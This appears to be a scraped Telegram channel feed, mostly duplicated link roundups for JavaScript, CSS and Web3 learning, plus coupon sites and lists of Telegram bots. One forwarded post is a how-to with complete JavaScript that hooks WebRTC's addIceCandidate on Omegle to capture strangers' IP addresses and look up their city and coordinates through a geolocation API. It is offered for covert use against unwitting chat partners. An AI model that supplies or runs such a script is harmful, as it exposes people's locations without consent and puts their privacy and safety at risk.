How to use Github Actions with Lighthouse analytics
https://blog.logrocket.com/lighthouse-meets-github-actions-how-to-use-lighthouse-in-ci/
#lighthouse #github #actions
https://blog.logrocket.com/lighthouse-meets-github-actions-how-to-use-lighthouse-in-ci/
#lighthouse #github #actions
Forwarded from Learn AI, MetaVerse, Web3
Roadmap to become a frontend web3 developer↓
First Learn Frontend development ↓
→ HTML
→ CSS
→ Bootstrap/Tailwind
→ JS
→ ReactJS / vue /Angular
→ NextJS
→ Learn about blockchain and Ethereum fundamentals
→ Learn about smart contracts
→Learn about wallets and wallet connections in web3 (provider, signer, different wallet providers)
→ Create a frontend that simply lets you connect your wallet and shows the connected wallet's address (I have listed more resources at the end of the post)
→ Create a frontend that interacts with a smart contract on a testnet.
#Web3 #RoadMap #Frontend
For More Web3 Content Join @web3_learn
First Learn Frontend development ↓
→ HTML
→ CSS
→ Bootstrap/Tailwind
→ JS
→ ReactJS / vue /Angular
→ NextJS
→ Learn about blockchain and Ethereum fundamentals
→ Learn about smart contracts
→Learn about wallets and wallet connections in web3 (provider, signer, different wallet providers)
→ Create a frontend that simply lets you connect your wallet and shows the connected wallet's address (I have listed more resources at the end of the post)
→ Create a frontend that interacts with a smart contract on a testnet.
#Web3 #RoadMap #Frontend
For More Web3 Content Join @web3_learn
Forwarded from Learn AI, MetaVerse, Web3
7 Discord servers to become a Web3 developer.
1. Web3University
A fully-fledged only university to bring you from zero to hero as a web3 developer
https://discord.gg/aaEJzNtg
2. LearnWeb3DAO
Curious about Web3 as a developer? Wonder what are NFTs, DAOs, DeFi, and Smart Contracts?
This is the place for you!
https://discord.gg/MDu7fHvu
3. Alchemy Discord
Amazing documentation, great community, and lighting fast support.
+ I'm always here to chat.
https://discord.gg/wtDQyWNK
4. Buildspace
Probably one of the most valuable servers in the space, full of resources and courses, completely for free!
https://discord.com/invite/vPmqZqgpsS
5. ChainLink Discord
Resources and guides, supported by an amazing team, especially for those a bit more advanced in their journey.
https://discord.gg/BcxnhQTQ
6. Ethereum(dot)org
The official Discord server of the Ethereum organization.
Not only for developers but definitely a place you want to be.
https://discord.com/invite/CetY6Y4
#Web3 #Discord #Resources
For More Web3 Content Join @web3_learn
1. Web3University
A fully-fledged only university to bring you from zero to hero as a web3 developer
https://discord.gg/aaEJzNtg
2. LearnWeb3DAO
Curious about Web3 as a developer? Wonder what are NFTs, DAOs, DeFi, and Smart Contracts?
This is the place for you!
https://discord.gg/MDu7fHvu
3. Alchemy Discord
Amazing documentation, great community, and lighting fast support.
+ I'm always here to chat.
https://discord.gg/wtDQyWNK
4. Buildspace
Probably one of the most valuable servers in the space, full of resources and courses, completely for free!
https://discord.com/invite/vPmqZqgpsS
5. ChainLink Discord
Resources and guides, supported by an amazing team, especially for those a bit more advanced in their journey.
https://discord.gg/BcxnhQTQ
6. Ethereum(dot)org
The official Discord server of the Ethereum organization.
Not only for developers but definitely a place you want to be.
https://discord.com/invite/CetY6Y4
#Web3 #Discord #Resources
For More Web3 Content Join @web3_learn
Forwarded from Cyber Punk™
🔰 FREE UDEMY COUPONS 🔰
➼ https://www.freshercooker.in
➼ https://www.discudemy.com
➼ http://Real.discount
➼ https://udemycoupon.learnviral.com
➼ https://couponscorpion.com
➼ https://udemyfreebies.com
➼ http://udemycoupon.discountsglobal.com
➼ comidoc.net
➼ app.real.discount
➼ 100offdeal.online
➼ udemyfreecourses.org
➼ tutsnode.net
➼ smartybro.com
Every Site Refreshes Everyday 🙃
If Coupons fail to work, use VPN
====================
Join Our Telegram Channel
@CyberPunk_anonymous
====================
➼ https://www.freshercooker.in
➼ https://www.discudemy.com
➼ http://Real.discount
➼ https://udemycoupon.learnviral.com
➼ https://couponscorpion.com
➼ https://udemyfreebies.com
➼ http://udemycoupon.discountsglobal.com
➼ comidoc.net
➼ app.real.discount
➼ 100offdeal.online
➼ udemyfreecourses.org
➼ tutsnode.net
➼ smartybro.com
Every Site Refreshes Everyday 🙃
If Coupons fail to work, use VPN
====================
Join Our Telegram Channel
@CyberPunk_anonymous
====================
Build and Deploy a Fullstack Responsive Portfolio Website ULTIMATE Step By Step Tutorial 2022 by JavaScript Mastery
https://youtu.be/3HNyXCPDQ7Q
#ReactJS #Animations #Sanity
https://youtu.be/3HNyXCPDQ7Q
#ReactJS #Animations #Sanity
Improving JavaScript Bundle Performance With Code-Splitting
https://www.smashingmagazine.com/2022/02/javascript-bundle-performance-code-splitting/
https://www.smashingmagazine.com/2022/02/javascript-bundle-performance-code-splitting/
Series four of Traversy Media's MERN Stack application, namely how to deploy to Heroku services and Redux functions
https://www.youtube.com/watch?v=UXjMo25Nnvc
—-
Exercise part Three
https://www.youtube.com/watch?v=mvfsC66xqj0
Exercise part two
https://www.youtube.com/watch?v=enopDSs3DRw
Exercise part One
https://www.youtube.com/watch?v=-0exw-9YJBo
#traversyMedia #nodejs #mern
https://www.youtube.com/watch?v=UXjMo25Nnvc
—-
Exercise part Three
https://www.youtube.com/watch?v=mvfsC66xqj0
Exercise part two
https://www.youtube.com/watch?v=enopDSs3DRw
Exercise part One
https://www.youtube.com/watch?v=-0exw-9YJBo
#traversyMedia #nodejs #mern
List of essential tips for web app developers
https://blog.bitsrc.io/20-javascript-tips-front-end-engineers-need-to-know-b5626900a22
#tips #front #end
https://blog.bitsrc.io/20-javascript-tips-front-end-engineers-need-to-know-b5626900a22
#tips #front #end
Practice with Dcode on some of the latest tips and tricks of modern JavaScript
https://www.youtube.com/watch?v=XsQlw2_1Pd8
#dcode #esm #es2020 #tips
https://www.youtube.com/watch?v=XsQlw2_1Pd8
#dcode #esm #es2020 #tips
Simple practice of creating a Task Management or Todo application with Node JS, Socket IO , Redis Db and React
https://blog.devgenius.io/task-management-app-with-react-socket-io-and-redis-ebffc4d0fde6
—-
How to implement simple lazy loading with Next JS
https://betterprogramming.pub/lazy-loading-in-next-js-simplified-435681afb18a
—-
Create SSRS-based web applications with React Remix JS
https://medium.com/bitsrc/create-a-server-side-rendered-app-using-remix-js-b937b5a8fec6
#react #nodejs #remix #next
https://blog.devgenius.io/task-management-app-with-react-socket-io-and-redis-ebffc4d0fde6
—-
How to implement simple lazy loading with Next JS
https://betterprogramming.pub/lazy-loading-in-next-js-simplified-435681afb18a
—-
Create SSRS-based web applications with React Remix JS
https://medium.com/bitsrc/create-a-server-side-rendered-app-using-remix-js-b937b5a8fec6
#react #nodejs #remix #next
Package manager comparison in Javascript
https://blog.logrocket.com/javascript-package-managers-compared/
#javascript #package #manager
https://blog.logrocket.com/javascript-package-managers-compared/
#javascript #package #manager
Create a CSS Grid function whose column function automatically fills the remaining columns
https://css-tricks.com/an-auto-filling-css-grid-with-max-columns/
#css #grid #column
https://css-tricks.com/an-auto-filling-css-grid-with-max-columns/
#css #grid #column
Discover the The State of JS 2021 results
https://2021.stateofjs.com
Front-end Framework rankings
https://2021.stateofjs.com/en-US/libraries/front-end-frameworks
Back-end Frameworks Rankings
https://2021.stateofjs.com/en-US/libraries/back-end-frameworks
JavaScript for mobile devices and desktop apps Rankings
https://2021.stateofjs.com/en-US/libraries/mobile-desktop
Build Tools-Compiling & bundling code Rankings
https://2021.stateofjs.com/en-US/libraries/build-tools
Tools used to manage JavaScript monorepos Rankings
https://2021.stateofjs.com/en-US/libraries/monorepo-tools
#StateOfJS
https://2021.stateofjs.com
Front-end Framework rankings
https://2021.stateofjs.com/en-US/libraries/front-end-frameworks
Back-end Frameworks Rankings
https://2021.stateofjs.com/en-US/libraries/back-end-frameworks
JavaScript for mobile devices and desktop apps Rankings
https://2021.stateofjs.com/en-US/libraries/mobile-desktop
Build Tools-Compiling & bundling code Rankings
https://2021.stateofjs.com/en-US/libraries/build-tools
Tools used to manage JavaScript monorepos Rankings
https://2021.stateofjs.com/en-US/libraries/monorepo-tools
#StateOfJS
Forwarded from Learn CSS™
Discover the The State of CSS 2021 results
https://2021.stateofcss.com
Pre-/Post-processors: Utilities that augment CSS Rankings
https://2021.stateofcss.com/en-US/technologies/pre-post-processors
CSS Frameworks-Libraries that give you pre-made components and styles.
https://2021.stateofcss.com/en-US/technologies/css-frameworks
CSS-in-JS:Libraries that help integrate CSS into JavaScript code. Rankings
https://2021.stateofcss.com/en-US/technologies/css-in-js
#StateOfCSS
https://2021.stateofcss.com
Pre-/Post-processors: Utilities that augment CSS Rankings
https://2021.stateofcss.com/en-US/technologies/pre-post-processors
CSS Frameworks-Libraries that give you pre-made components and styles.
https://2021.stateofcss.com/en-US/technologies/css-frameworks
CSS-in-JS:Libraries that help integrate CSS into JavaScript code. Rankings
https://2021.stateofcss.com/en-US/technologies/css-in-js
#StateOfCSS
Forwarded from Cyber Punk™
👾👾How To Get Strangers IP’s And Location in Omegle👾👾
First thing , go ahead into omegle.com and press f12 / inspect element to get access to the developer tool (console):
After that, you will need to insert in a js script, but before that we need a api to get the strangers location from the ip. For that go into this website: https://ipgeolocation.io/ and signup and get your api key.
Once you got your api key, replace it by ‘YOUR_API_KEY_HERE’ in the first line of code:
Script:
After that you have insert your api key etc… now you’re ready to go!
Click on “Video” on omegle:
Then insert the js script in the console, you’re all set!
Here’s what you must get in the console once you’re connected with a stranger:
As you can see we have all the location infos of the stranger including the ip, i’ve hidden the ip of the stranger for some security reasons.
❤️
==================================
Join Our Telegram Channel for more
@CyberPunk_anonymous
==================================
First thing , go ahead into omegle.com and press f12 / inspect element to get access to the developer tool (console):
After that, you will need to insert in a js script, but before that we need a api to get the strangers location from the ip. For that go into this website: https://ipgeolocation.io/ and signup and get your api key.
Once you got your api key, replace it by ‘YOUR_API_KEY_HERE’ in the first line of code:
Script:
const apiKey = "YOUR_API_KEY_HERE"; window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection; window.RTCPeerConnection = function (...args) { const pc = new window.oRTCPeerConnection(...args); pc.oaddIceCandidate = pc.addIceCandidate; pc.addIceCandidate = function (iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(" "); console.log(iceCandidate.candidate); const ip = fields[4]; if (fields[7] === "srflx") { getLocation(ip); } return pc.oaddIceCandidate(iceCandidate, ...rest); }; return pc; }; const getLocation = async (ip) => { let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}; await fetch(url).then((response) => response.json().then((json) => { const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) --------------------- ; console.log(output); }) ); };After that you have insert your api key etc… now you’re ready to go!
Click on “Video” on omegle:
Then insert the js script in the console, you’re all set!
Here’s what you must get in the console once you’re connected with a stranger:
As you can see we have all the location infos of the stranger including the ip, i’ve hidden the ip of the stranger for some security reasons.
❤️
==================================
Join Our Telegram Channel for more
@CyberPunk_anonymous
==================================
🔊 FREE RESOURCES TO LEARN FRONTEND WEB DEVELOPMENT 🔊
Free Course from Udacity
https://imp.i115008.net/ORo3jA
Free Certified Course from Freecodecamp
https://www.freecodecamp.org/learn/front-end-development-libraries/
Front-End Interview Prep
https://imp.i115008.net/5bmP6n
Learn HTML & CSS From Scratch
[4.6 star ratings out of 5]
https://bit.ly/3uv2fRS
Foundations of Front-End Web Development Free Udemy Course
https://bit.ly/3sltmfC
Front-end Developer Free Handbook
https://github.com/FrontendMasters/front-end-handbook-2019/raw/master/exports/Front-end%20Developer%20Handbook%202019.pdf
Eloquent JavaScript FREE BOOK
https://eloquentjavascript.net/Eloquent_JavaScript.pdf
To Practice your skills:
https://www.acefrontend.com/
https://www.codewars.com/
Free Course from Udacity
https://imp.i115008.net/ORo3jA
Free Certified Course from Freecodecamp
https://www.freecodecamp.org/learn/front-end-development-libraries/
Front-End Interview Prep
https://imp.i115008.net/5bmP6n
Learn HTML & CSS From Scratch
[4.6 star ratings out of 5]
https://bit.ly/3uv2fRS
Foundations of Front-End Web Development Free Udemy Course
https://bit.ly/3sltmfC
Front-end Developer Free Handbook
https://github.com/FrontendMasters/front-end-handbook-2019/raw/master/exports/Front-end%20Developer%20Handbook%202019.pdf
Eloquent JavaScript FREE BOOK
https://eloquentjavascript.net/Eloquent_JavaScript.pdf
To Practice your skills:
https://www.acefrontend.com/
https://www.codewars.com/
Seeing the difference in JavaScript on the browser side and on the Node JS backend side
https://css-tricks.com/node-javascript-compared-to-javascript/
---
Get to know the Math ceil and Math floor functions for rounding functions in JavaScript
https://javascript.plainenglish.io/introducing-math-ceil-and-math-floor-4c106f83e7b
---
Difference between Object freeze and Object seal in JavaScript
https://javascript.plainenglish.io/object-freeze-vs-object-seal-in-plain-english-813f27a71eb8
---
Introduction to iterators and Generators functions in JavaScript
https://javascript.plainenglish.io/iterators-and-generators-in-javascript-a-complete-guide-cd91566ae864
---
Some useful JavaScript tips for front end developers
https://blog.bitsrc.io/20-javascript-tips-front-end-engineers-need-to-know-b5626900a22
---
#nodejs #esm #tips #iterator #generator #object #freeze #seal
https://css-tricks.com/node-javascript-compared-to-javascript/
---
Get to know the Math ceil and Math floor functions for rounding functions in JavaScript
https://javascript.plainenglish.io/introducing-math-ceil-and-math-floor-4c106f83e7b
---
Difference between Object freeze and Object seal in JavaScript
https://javascript.plainenglish.io/object-freeze-vs-object-seal-in-plain-english-813f27a71eb8
---
Introduction to iterators and Generators functions in JavaScript
https://javascript.plainenglish.io/iterators-and-generators-in-javascript-a-complete-guide-cd91566ae864
---
Some useful JavaScript tips for front end developers
https://blog.bitsrc.io/20-javascript-tips-front-end-engineers-need-to-know-b5626900a22
---
#nodejs #esm #tips #iterator #generator #object #freeze #seal
Get to know leoric JS, the ORM library for Node JS
https://leoric.js.org/
#library #leoric #orm #nodejs
https://leoric.js.org/
#library #leoric #orm #nodejs
Forwarded from Cyber Punk™
LINKS TO ALL TELEGRAM BOTS!
1. Truecaller Bot!📞 -This bot searches for phone numbers in truecaller database
BOT: @RespawnRobot
2. Website Down Checker Bot!🔼/🔼
A bot to help you easily check if your Website or Server is Up or Down
Bot: @site_is_up_bot
3. Open In Whatsapp Bot!💬 -
Sometimes you want to quickly chat with someone without saving their number to your contacts (Think of delivery man).
You can send me phone number and bot responds back with a link that opens a chat with that number directly in whatsapp.
Bot: @OiWA_bot
4. Youtube Downloader Bots!⬇️
Bot: @YouTubeV2HEXbot
Bot: @utuberabot
Bot : @youtubednbot
5. Shazam Music Charts - Telegram Bot to Search for new Music in Lossless Quality.
Bot: @ShazamMusicChartsBot
6)Pdf Bot!📃 : A bot that can do a lot of things related to PDF files
Bot: @pdfbot
7)Screenshot Bot! -
Screenshot Generator Bot can provide screenshots from your video files with out downloading the entire file (almost instantly).
Bot : @TG_ScreenShotBot
8)Allsaver Bot!📂 - This bot can download from Instagram, YouTube, TikTok and Pinterest.
Bot: @allsaverbot
9. iPapkorn- A one-stop shop for a wide range of movies.
Bot : @iPapkornBot
10. File Converter Bot!🔄
This bot allows to convert files from one format to another easily. It works with images, audio files, and videos.
Bot : @newfileconverterbot
11. Temporary Mail!📩 -This Bot allows you to generate disposable email addresses and receive emails.
Bot : @DropmailBot
12. Music Downloader Bot!🎶 -A bot where you can search and download Spotify music for free!
Bot: @MusicDownloaderRobot
13. Skeddy Reminder! ⏰ -Skeddy is a simple yet powerful reminder tool that can help you create and manage your reminders.
Bot: @SkeddyBot
14. Reverse Image Search!⏪
Search image source using Google, Bing, Yandex, ImgOps, etc.
@LCxRvsImgSrch_bot
15. Search Telegram Files🔍 -
Bot : @ProSearchBot
16. Text To Speech!🗣️ - A bot that can translates your text messages to audio. You only need to specify the language, the voice type and it's done!
Bot : @TextTSBot
17. Aximobot!📲 - a message forwarder from social networks (TikTok, Instagram, YouTube, etc), Telegram channels and RSS feeds.
Bot : @AximoBot
18. Functions Bot!⚙️ A bot that canMake shorten url,Make/read QR codes ,Encrypt/decrypt messages,
Translate,Convert text to voice,Upload files,Make Pastebin links,And more...
Bot: @FunctionsRobot
19. Get Images Inline Bot!🖼️ - @pic
20. SMARTPHONE SPECS - A bot that can search smartphones, smart watch or tablet of any brand.
Bot : @SmartphoneDBot
21. SAVE FILES -You can forward any Telegram messages to this bot and and it will save it for you.
@message_saver_robot
==================================
Join Our Telegram Channel for more
@CyberPunk_anonymous
==================================
1. Truecaller Bot!📞 -This bot searches for phone numbers in truecaller database
BOT: @RespawnRobot
2. Website Down Checker Bot!🔼/🔼
A bot to help you easily check if your Website or Server is Up or Down
Bot: @site_is_up_bot
3. Open In Whatsapp Bot!💬 -
Sometimes you want to quickly chat with someone without saving their number to your contacts (Think of delivery man).
You can send me phone number and bot responds back with a link that opens a chat with that number directly in whatsapp.
Bot: @OiWA_bot
4. Youtube Downloader Bots!⬇️
Bot: @YouTubeV2HEXbot
Bot: @utuberabot
Bot : @youtubednbot
5. Shazam Music Charts - Telegram Bot to Search for new Music in Lossless Quality.
Bot: @ShazamMusicChartsBot
6)Pdf Bot!📃 : A bot that can do a lot of things related to PDF files
Bot: @pdfbot
7)Screenshot Bot! -
Screenshot Generator Bot can provide screenshots from your video files with out downloading the entire file (almost instantly).
Bot : @TG_ScreenShotBot
8)Allsaver Bot!📂 - This bot can download from Instagram, YouTube, TikTok and Pinterest.
Bot: @allsaverbot
9. iPapkorn- A one-stop shop for a wide range of movies.
Bot : @iPapkornBot
10. File Converter Bot!🔄
This bot allows to convert files from one format to another easily. It works with images, audio files, and videos.
Bot : @newfileconverterbot
11. Temporary Mail!📩 -This Bot allows you to generate disposable email addresses and receive emails.
Bot : @DropmailBot
12. Music Downloader Bot!🎶 -A bot where you can search and download Spotify music for free!
Bot: @MusicDownloaderRobot
13. Skeddy Reminder! ⏰ -Skeddy is a simple yet powerful reminder tool that can help you create and manage your reminders.
Bot: @SkeddyBot
14. Reverse Image Search!⏪
Search image source using Google, Bing, Yandex, ImgOps, etc.
@LCxRvsImgSrch_bot
15. Search Telegram Files🔍 -
Bot : @ProSearchBot
16. Text To Speech!🗣️ - A bot that can translates your text messages to audio. You only need to specify the language, the voice type and it's done!
Bot : @TextTSBot
17. Aximobot!📲 - a message forwarder from social networks (TikTok, Instagram, YouTube, etc), Telegram channels and RSS feeds.
Bot : @AximoBot
18. Functions Bot!⚙️ A bot that canMake shorten url,Make/read QR codes ,Encrypt/decrypt messages,
Translate,Convert text to voice,Upload files,Make Pastebin links,And more...
Bot: @FunctionsRobot
19. Get Images Inline Bot!🖼️ - @pic
20. SMARTPHONE SPECS - A bot that can search smartphones, smart watch or tablet of any brand.
Bot : @SmartphoneDBot
21. SAVE FILES -You can forward any Telegram messages to this bot and and it will save it for you.
@message_saver_robot
==================================
Join Our Telegram Channel for more
@CyberPunk_anonymous
==================================
The Harsh Reality for JS Developers
https://dev.to/dragosnedelcu/the-harsh-reality-for-js-developers-master-the-fundamentals-or-you-will-be-just-a-coder-21ke
Top 5 Best Javascript Icons Libraries 🚀
https://dev.to/rammcodes/top-5-best-javascript-icons-libraries-5c2j
Resumable JavaScript with Qwik
https://dev.to/this-is-learning/resumable-javascript-with-qwik-2i29
#javascript #programming #webdev
#career #qwik #performance
https://dev.to/dragosnedelcu/the-harsh-reality-for-js-developers-master-the-fundamentals-or-you-will-be-just-a-coder-21ke
Top 5 Best Javascript Icons Libraries 🚀
https://dev.to/rammcodes/top-5-best-javascript-icons-libraries-5c2j
Resumable JavaScript with Qwik
https://dev.to/this-is-learning/resumable-javascript-with-qwik-2i29
#javascript #programming #webdev
#career #qwik #performance